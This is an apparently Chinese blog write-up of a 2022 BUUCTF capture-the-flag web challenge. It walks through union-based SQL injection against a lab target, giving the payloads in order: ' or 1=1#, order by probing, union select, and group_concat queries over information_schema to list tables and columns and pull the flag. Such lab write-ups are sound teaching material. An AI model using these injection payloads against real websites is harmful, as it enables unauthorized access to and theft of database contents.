【Web方向】 1-1SQL injection实例 01_联合注入


这是2022年的buuctf第一周web方向的赛题,我们要做的就是从靶机数据库中扒出flag,下面可以先用注入进行判断测试

在这里插入图片描述

1. 判断是否为union联合注入

1)按照提示输入关键字

如图,打开hackbar并在网页输入框中输入NewCTFer
在这里插入图片描述
在这里插入图片描述

2)直接上万能语句

可以构造语句' or 1=1#,这里直接爆出一大串信息,其中便包含了flag。同时,这道题也可以用联合注入来解。

3)用union联合注入调试

现在还是摸索阶段,还不能确定可以联合注入,所以先用代码order by <表单数>对其进行调试,发现只有2个表单,可以构造' union select 1,2#
在这里插入图片描述
可以看到回显,到了这里基本可以判定这是联合注入了,进行下一步

2.开始注入

1)扒取表名table_name

在post栏编辑,我打算从information_schema这个数据库中查看tables里面的所有表名,注入代码:union select 1,(select table_name from information_schema.tables)#然后execute执行
在这里插入图片描述
但是运行结果没有输出有用信息,有可能是网站设置了输出行数的限制。这里我打算用group_concat()函数再战:

知识点:

group_concat() -- 把组中的字符串连接成为具有各种选项的单个字符串。

运行效果如下:

+---------------------------------------------------------------------+
| GROUP_CONCAT(DISTINCT v ORDER BY v ASC SEPARATOR ';')				  |
+---------------------------------------------------------------------+
| A;B;C                                                               |
+---------------------------------------------------------------------+
1 row in set
-- 注:上面语句类似于把SELECT v FROM t GROUP BY v;语句的结果串接起来。

在这里插入图片描述

2)将表名字符串拼接成一行输出

注入代码union select 1,(select group_concat(table_name) from information_schema.tables)#
在这里插入图片描述
但是系统返回这么多数据,在这茫茫数据中寻找一个flag,这……显然不是我想要的
在这里插入图片描述
这里就又涉及另一个知识点——where

知识点

select的后面表示筛选的内容,from的后面表示筛选内容来自的位置,where的后面表示筛选的条件。
此图片来自菜鸟教程

3)设置条件筛选table_name

注入代码如下union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())# where后面是从名称为database()的数据库中提取表名
在这里插入图片描述
可以看到这里有wfy_admin,wfy_comments,wfy_information这几个表名

4)继续查列名column_name

注入代码:union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database())#
在这里插入图片描述
扒到的列名如下:Id,username,password,cookie,id,text,user,name,display,title,header

5)查看目标文本

用代码union select 1,(select group_concat(列名) from 表名)#查文
最终在表名wfy_comments,列名text里面找到了flag{Th1s_is_0_simp1e_S0L_test}

在这里插入图片描述

  • 4
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值